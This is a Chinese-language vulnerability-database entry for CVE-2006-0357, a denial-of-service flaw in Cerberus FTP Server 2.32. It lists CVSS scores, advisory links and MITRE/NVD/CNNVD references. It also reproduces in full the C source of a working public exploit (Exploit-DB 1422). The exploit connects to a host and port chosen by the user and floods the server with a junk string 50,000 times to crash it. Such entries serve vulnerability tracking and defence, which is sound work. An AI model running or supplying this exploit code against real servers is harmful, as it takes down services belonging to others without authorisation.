CVE-2006-0357
CVSS5.0
发布时间 :2006-01-22 15:03:00
修订时间 :2008-09-05 16:59:02
NMCOE    

[原文]Grant Averett Cerberus FTP Server 2.32, and possibly earlier versions, allows remote attackers to cause an unspecified denial of service via a long string that does not contain a valid FTP command.


[CNNVD]Grant Averett Cerberus FTP Server 拒绝服务漏洞(CNNVD-200601-283)

        Grant Averett Cerberus FTP Server 2.32以及可能的更早版本存在拒绝服务漏洞,远程攻击者可以通过不包含有效FTP命令的长字符串使系统未指定原因而拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0357
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0357
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-283
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/archive/1/422162/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060115 Cerberus FTP Server 2.32 Denial of Service
http://www.kapda.ir/advisory-210.html
(VENDOR_ADVISORY)  MISC  http://www.kapda.ir/advisory-210.html
http://www.cerberusftp.com/cerberus-releasenotes.htm
(UNKNOWN)  MISC  http://www.cerberusftp.com/cerberus-releasenotes.htm
http://xforce.iss.net/xforce/xfdb/24226
(UNKNOWN)  XF  cerberus-long-command-dos(24226)

- 漏洞信息

Grant Averett Cerberus FTP Server 拒绝服务漏洞
中危 未知
2006-01-22 00:00:00 2006-01-27 00:00:00
远程  
        Grant Averett Cerberus FTP Server 2.32以及可能的更早版本存在拒绝服务漏洞,远程攻击者可以通过不包含有效FTP命令的长字符串使系统未指定原因而拒绝服务。

- 公告与补丁

        

- 漏洞信息 (1422)

Cerberus FTP Server <= 2.32 Denial of Service Exploit (EDBID:1422)
windows dos
2006-01-16 Verified
0 pi3ch
N/A [点击下载]
/*
Cerberus FTP Server 2.32 Denial of Service
original advisory: http://kapda.ir/advisory-210.html
cerberus_232_dos_remote_xpl.c
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "%s"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tCerberus FTP Server <= v2.32 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s,i;
 char *request;
 char junk_data[] = "DoS-JUNK-DATA.:(CVH):.\x0d\x0a";
 header();
 if( (argc < 2) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,junk_data);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 for(i=0;i<50000;i++)
  if ( send ( s, request, strlen (request), 0) <= 0 )
  {
          printf("[e] Failed to send buffer\n");
          close(s);
          exit(1);
  }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-16]
		

- 漏洞信息

22780
Cerberus FTP Server Unspecified Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-01-15 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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